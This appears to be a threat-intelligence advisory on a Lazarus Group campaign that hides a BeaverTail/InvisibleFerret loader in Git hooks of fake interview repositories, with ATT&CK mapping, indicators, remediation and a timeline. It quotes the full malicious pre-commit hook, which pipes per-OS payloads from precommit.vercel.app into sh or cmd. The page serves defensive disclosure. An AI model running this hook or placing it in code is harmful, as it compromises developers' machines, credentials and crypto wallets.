Lazarus Group (DPRK) Hides BeaverTail / InvisibleFerret Loader in Git Hooks via precommit.vercel.app — Contagious Interview / TaskJacker Evolution (May 2026)
Lazarus Group (DPRK) Hides BeaverTail / InvisibleFerret (TL-2026-0464), also tracked as Contagious Interview (Git Hooks variant), is a high-severity malware campaign, first published 2026-05-06. It is attributed to Lazarus Group (North Korea) with high confidence, affects Git Git client (any version with hook execution enabled), maps to 30 MITRE ATT&CK techniques (T1005, T1027, T1036.005), and is covered by 9 detection rules and 19 indicators of compromise.
Key facts for TL-2026-0464
- Threat ID
- TL-2026-0464
- Also known as
- Contagious Interview (Git Hooks variant), TaskJacker Git Hooks, DPRK Git Hooks Loader, precommit.vercel.app campaign
- Severity
- HIGH
- Status
- ACTIVE
- Category
- MALWARE
- First published
- 2026-05-06
- Last reviewed
- 2026-05-06
- Attribution
- Lazarus Group
- Attribution confidence
- HIGH
- Nation-state nexus
- North Korea
- Motivation
- FINANCIAL
- Target sectors
- technology, cryptocurrency, decentralized-finance, web3, software-development, open-source, blockchain, fintech
- Target regions
- North America, Europe, Asia-Pacific, Global
- Detection rules
- 9
- Indicators of compromise
- 19
Malware and tooling in Lazarus Group (DPRK) Hides BeaverTail / InvisibleFerret
Malware and tooling: BeaverTail - S1246, InvisibleFerret - S1245
DPRK-affiliated Lazarus Group operators behind the Contagious Interview and TaskJacker campaigns have moved their stage-2 loader into Git hooks (.githooks/pre-commit and .githooks/post-checkout). The hook fingerprints the OS via `uname -s`, then curls or wgets a per-platform shell payload from precommit.vercel.app that drops BeaverTail (JavaScript) and InvisibleFerret (Python) implants targeting developer credentials and crypto wallets. The trip-wire fires automatically when a candidate clones the fake "coding assessment" repo and tries to commit, evading both VS Code tasks.json mitigations and ordinary code review.
How Lazarus Group (DPRK) Hides BeaverTail / InvisibleFerret works
OpenSourceMalware (researcher 6mile) disclosed on 2026-05-05 that DPRK Lazarus Group has pivoted the second-stage loader of its Contagious Interview / TaskJacker developer-targeting campaign from `.vscode/tasks.json`, `package.json` postinstall scripts, and fake `.woff2` font files into Git hooks committed inside the cloned interview repository. The malicious file is `.githooks/pre-commit`, a short POSIX shell script that fingerprints the operating system via `uname -s` and then pulls a per-OS payload from a Vercel-hosted command-and-control server at `precommit.vercel.app`, piping it directly into a shell on macOS/Linux/Git-Bash and into `cmd.exe` on native Windows.
The full hook content (identical across multiple observed repositories, git blob SHA `3ebd9bb57d155cc7c3353660f54c153a094cdfbd`) is:
#!/bin/sh uname_s="$(uname -s 2>/dev/null || echo unknown)" case "$uname_s" in Darwin) curl -s 'https://precommit.vercel.app/settings/mac?flag=5' | sh >/dev/null 2>&1 exit 0 ;; Linux) wget -qO- 'https://precommit.vercel.app/settings/linux?flag=5' | sh >/dev/null 2>&1 exit 0 ;; MINGW*|MSYS*|CYGWIN*) curl -s https://precommit.vercel.app/settings/windows?flag=5 | cmd >/dev/null 2>&1 exit 0 ;; *) exit 0 ;; esac
The `flag=5` query parameter is consistent with prior Contagious Interview operator habits of embedding a numeric campaign / variant identifier into payload URLs to track which lure delivered the click. Output of the staged command is silently discarded with `>/dev/null 2>&1` and every branch ends with `exit 0`, ensuring the developer's `git commit` succeeds and the implant runs invisibly.
The domain `precommit.vercel.app` is itself a social-engineering layer: at a glance it reads like the official `pre-commit` framework's marketing site (`pre-commit.com`), but it is in fact an attacker-controlled free Vercel deployment that serves a per-path payload server the operators can stand up and tear down at will. OpenSourceMalware confirmed the same identical hook (matching git blob SHA) was committed to multiple GitHub repositories that follow the standard Contagious Interview lure pattern: DeFi / crypto-token themed projects, freshly created GitHub accounts, minimal commit history, and a coding task that requires the candidate to actually run code locally. The same actor was also observed using `.githooks/post-checkout` hooks, which fire on every branch change and are even nastier persistence than pre-commit.
Git hooks are an almost ideal stage-2 trigger for this actor. They are part of the legitimate developer workflow (Husky, lint-staged, the pre-commit framework), so a `.githooks/` directory raises zero suspicion. They run automatically the first time the candidate tries to fix the bug and commit — which is literally the task the fake recruiter assigned. Most candidates configure hooks via `git config core.hooksPath .githooks` (or a setup script does it for them) without inspecting the contents. And critically, this technique sidesteps VS Code entirely, evading Microsoft's recent hardening of `tasks.json` auto-execute behavior.
The end goal is unchanged from prior Contagious Interview waves: BeaverTail JavaScript stealer (browser cookies, MetaMask / Phantom / Coinbase / TronLink wallet exfiltration, keychain) followed by InvisibleFerret Python RAT (persistent C2, command execution, credential and source-code exfiltration). The blast radius is severe — a compromised developer host yields private repository access, signing keys, SSH keys, AWS / GCP CLI credentials, npm / PyPI publish tokens, and CI/CD secrets, providing pivot points for downstream supply-chain compromise of the victim's employer and any open-source projects they maintain. Defenders should hunt repositories matching the GitHub code-search query `path:**/pre-commit OR path:**/post-checkout content:"vercel.app"`, block the C2 domain, and treat any interview-process repository as hostile until proven otherwise.
MITRE ATT&CK techniques used in TL-2026-0464
Collection
T1005 Data from Local System; T1119 Automated Collection
Defense Evasion
T1027 Obfuscated Files or Information; T1036.005 Masquerading: Match Legitimate Resource Name or Location; T1070.003 Indicator Removal: Clear Command History; T1564.001 Hide Artifacts: Hidden Files and Directories
Persistence
T1037 Boot or Logon Initialization Scripts; T1546 Event Triggered Execution
Exfiltration
T1041 Exfiltration Over C2 Channel
Execution
T1059.003 Command and Scripting Interpreter: Windows Command Shell; T1059.004 Command and Scripting Interpreter: Unix Shell; T1204.002 User Execution: Malicious File; T1204.004 User Execution: Malicious Copy and Paste
Command and Control
T1071.001 Application Layer Protocol: Web Protocols; T1102 Web Service; T1102.001 Web Service: Dead Drop Resolver; T1105 Ingress Tool Transfer
Discovery
T1082 System Information Discovery
Initial Access
T1195.002 Supply Chain Compromise: Compromise Software Supply Chain; T1566.003 Phishing: Spearphishing via Service
Credential Access
T1539 Steal Web Session Cookie; T1552.004 Unsecured Credentials: Private Keys; T1555.001 Credentials from Password Stores: Keychain; T1555.003 Credentials from Password Stores: Credentials from Web Browsers
Resource Development
T1583 Acquire Infrastructure; T1583.006 Acquire Infrastructure: Web Services; T1585.001 Establish Accounts: Social Media Accounts; T1587.001 Develop Capabilities: Malware; T1608.001 Stage Capabilities: Upload Malware
Impact
Affected products and versions in Lazarus Group (DPRK) Hides BeaverTail / InvisibleFerret
- Git — Git client (any version with hook execution enabled)
Vulnerable versions: all current versions with default hook execution behavior - GitHub — github.com hosted repositories used as Contagious Interview lures
Vulnerable versions: any repository containing .githooks/pre-commit or .githooks/post-checkout reaching precommit.vercel.app - Vercel — Vercel Free hosting (abused to host C2 endpoint at precommit.vercel.app)
Vulnerable versions: abused subdomain — not a Vercel platform vulnerability - Apple — macOS (Darwin) developer hosts
Vulnerable versions: any macOS host running the Darwin branch of the loader - Linux Foundation — Linux developer hosts
Vulnerable versions: any Linux host running the Linux branch of the loader - Microsoft — Windows developer hosts running Git Bash / MSYS / Cygwin
Vulnerable versions: any Windows host running the MINGW/MSYS/CYGWIN branch of the loader piped to cmd.exe
Remediation for Lazarus Group (DPRK) Hides BeaverTail / InvisibleFerret
Patches
- No vendor patch — this is a malware delivery technique abusing a legitimate Git feature, not a software vulnerability.
- Git users on 2.36+ should be aware that core.hooksPath is configurable per-repo via .git/config and per-clone via include directives; defenders cannot rely solely on git's own controls.
Immediate actions
- Block the domain precommit.vercel.app and the URL paths /settings/mac, /settings/linux, /settings/windows at perimeter / DNS / EDR.
- Hunt for the exact git hook content across developer endpoints with the GitHub code-search query: path:**/pre-commit OR path:**/post-checkout content:"vercel.app".
- Search developer hosts for the file path .githooks/pre-commit and .githooks/post-checkout; flag any hook calling curl/wget piped to sh or cmd.
- Search committed git blob SHA-1 3ebd9bb57d155cc7c3353660f54c153a094cdfbd across all repositories ingested by source-code scanning tools.
- Quarantine any repository pulled from a recruiter / interview process within the last 60 days; rotate credentials of the cloning developer (SSH keys, npm/PyPI/GitHub tokens, browser-stored crypto wallets, password manager session).
Workarounds
- Set GIT_TEMPLATE_DIR to a hardened template that ignores .githooks/ on clone.
- Disable hook execution globally during repository review: git -c core.hooksPath=/dev/null clone <url>.
- Use git clone --no-checkout for initial inspection, then audit .githooks/ before allowing the working tree to materialize.
- Configure GitHub Enterprise / GitLab / Bitbucket to scan repositories for executable files inside .githooks/ during pull request review.
Longer-term hardening
- Mandate cloning untrusted repos inside a disposable VM or container with no access to ~/.ssh, ~/.aws, ~/.npmrc, ~/.gnupg, or browser profiles containing crypto wallet extensions.
- Enable repository hook-execution policy controls: set core.hooksPath to a centrally managed allow-list, or use git's core.hooksPath=/dev/null pattern when reviewing untrusted code.
- Deploy EDR rules that alert on git.exe / git child processes spawning curl/wget piped to sh/cmd, and on .githooks/* files containing network indicators.
- Run developer awareness training on the Contagious Interview / TaskJacker recruiter-lure playbook, focusing on crypto / DeFi / web3 candidates as the highest-risk population.
- Establish a recruiter-vetting policy: never run code from an unsolicited interview repo on a host with production credentials, signing keys, or wallet software.
Weaknesses (CWE) in Lazarus Group (DPRK) Hides BeaverTail / InvisibleFerret
CWE-94, CWE-506, CWE-507, CWE-829, CWE-1357
Timeline of Lazarus Group (DPRK) Hides BeaverTail / InvisibleFerret
- Unit 42 / Palo Alto Networks first publicly documents Lazarus Group's Contagious Interview campaign — fake recruiter contact + coding-assessment repos delivering BeaverTail and InvisibleFerret to crypto / DeFi developers.
- OpenSourceMalware reports the VS Code tasks.json variant: at least 21 small OSS maintainers compromised in 72 hours via malicious .vscode/tasks.json auto-execution.
- Contagious Interview pivots to fake .woff2 font files launched by VS Code tasks; OpenSourceMalware publishes the Fake Font campaign analysis.
- TasksJacker variant disclosed: same DPRK actor skips the fake interview and goes straight to compromising existing GitHub users via stolen credentials and backdated commits.
- PolinRider DPRK supply-chain campaign unmasked — hides obfuscated JavaScript in developer config files, fake fonts, malicious npm packages, and weaponized take-home coding tests across hundreds of GitHub repos.
- PolinRider expands from 675 to nearly 2,000 victim repositories in five weeks, confirming Contagious Interview / TaskJacker continues to scale aggressively.
- Malpedia indexes the OpenSourceMalware report under family js.beavertail and py.invisibleferret with library entry 1e58fd33-4c39-4bff-a4ce-f369b02fff99.
- OpenSourceMalware (researcher 6mile) publishes 'Lazarus Group Uses Git Hooks To Hide Malware', disclosing the .githooks/pre-commit and .githooks/post-checkout variant pulling per-OS payloads from precommit.vercel.app. Identical hook (git blob SHA 3ebd9bb57d155cc7c3353660f54c153a094cdfbd) observed across multiple lure repositories.
- Threadlinqs Intelligence publishes TL-2026-0464 with full IOC set, MITRE mapping across 8 tactics, and detection coverage for git-process child processes spawning curl/wget piped to sh/cmd.
- As of 2026-05-29, this DPRK Lazarus/Contagious Interview Git-hooks loader remains an active threat: multiple sources (SOC Prime, Microsoft, Socket, Malpedia) confirm the campaign is live and scaling (PolinRider hit ~2,000 repos; 26,584 wallets stolen in Q1 2026). No CVE/patch applies; it abuses legitimate Git hooks, and the actor rotates tooling and disposable Vercel C2 faster than takedowns can stop it.
Sources cited for Lazarus Group (DPRK) Hides BeaverTail / InvisibleFerret
- Lazarus Group Uses Git Hooks To Hide Malware (OpenSourceMalware, 6mile)
- Malpedia Library Entry — Lazarus Group Uses Git Hooks To Hide Malware
- Malpedia Family — js.beavertail (BeaverTail JavaScript stealer)
- Malpedia Family — py.invisibleferret (InvisibleFerret Python RAT)
- TasksJacker: Latest DPRK Attack Skips the Fake Interview and Goes Straight to Compromising GitHub Users (OpenSourceMalware)
- PolinRider: DPRK Threat Actor That Compromised Hundreds of GitHub Repos Is Unmasked (OpenSourceMalware)
- PolinRider Rides Again: North Korean Attack Expands Across GitHub (OpenSourceMalware)
- New DPRK Contagious Interview Campaign: Fake Font Uses Malicious VSCode Fonts (OpenSourceMalware)
- Small Open-Source Maintainers Targeted by VS Code Tasks Malware (OpenSourceMalware)
- Git Documentation — githooks(5)
- Git core.hooksPath configuration
- MITRE ATT&CK — Lazarus Group (G0032)
Threats related to Lazarus Group (DPRK) Hides BeaverTail / InvisibleFerret
- Contagious Interview IDE Task Hijacking — North Korean BeaverTail/PyLangGhost/GolangGhost via VS Code & Cursor Tasks, GitHub Gist Staging, Developer Targeting
- RemotePE: In-Memory Lazarus RAT Delivered via DPAPILoader and RemotePELoader Multi-Stage Chain
- Lazarus RemotePE Memory-Only RAT — DPAPILoader + RemotePELoader Chain Targeting Financial & Cryptocurrency Firms
- KelpDAO LayerZero Bridge Exploit — $292M rsETH Minted Against Non-Existent Burn (Lazarus Group, April 2026)
- DPRK-Linked APT37 (Medium Confidence) Deploys Novel 'Ted' HAProxy Backdoor and 'CurlRAT'-Trojanized Linux Daemons Against South Korean Media and Automotive Sectors
- ClickFix Campaigns Evolve API-Driven Payload Delivery: Analysis of 3,000 Live Payloads Reveals New Evasion Techniques
Detection coverage for TL-2026-0464
As of 2026-05-06, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0464 across Splunk SPL, Microsoft KQL and Sigma, covering 19 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.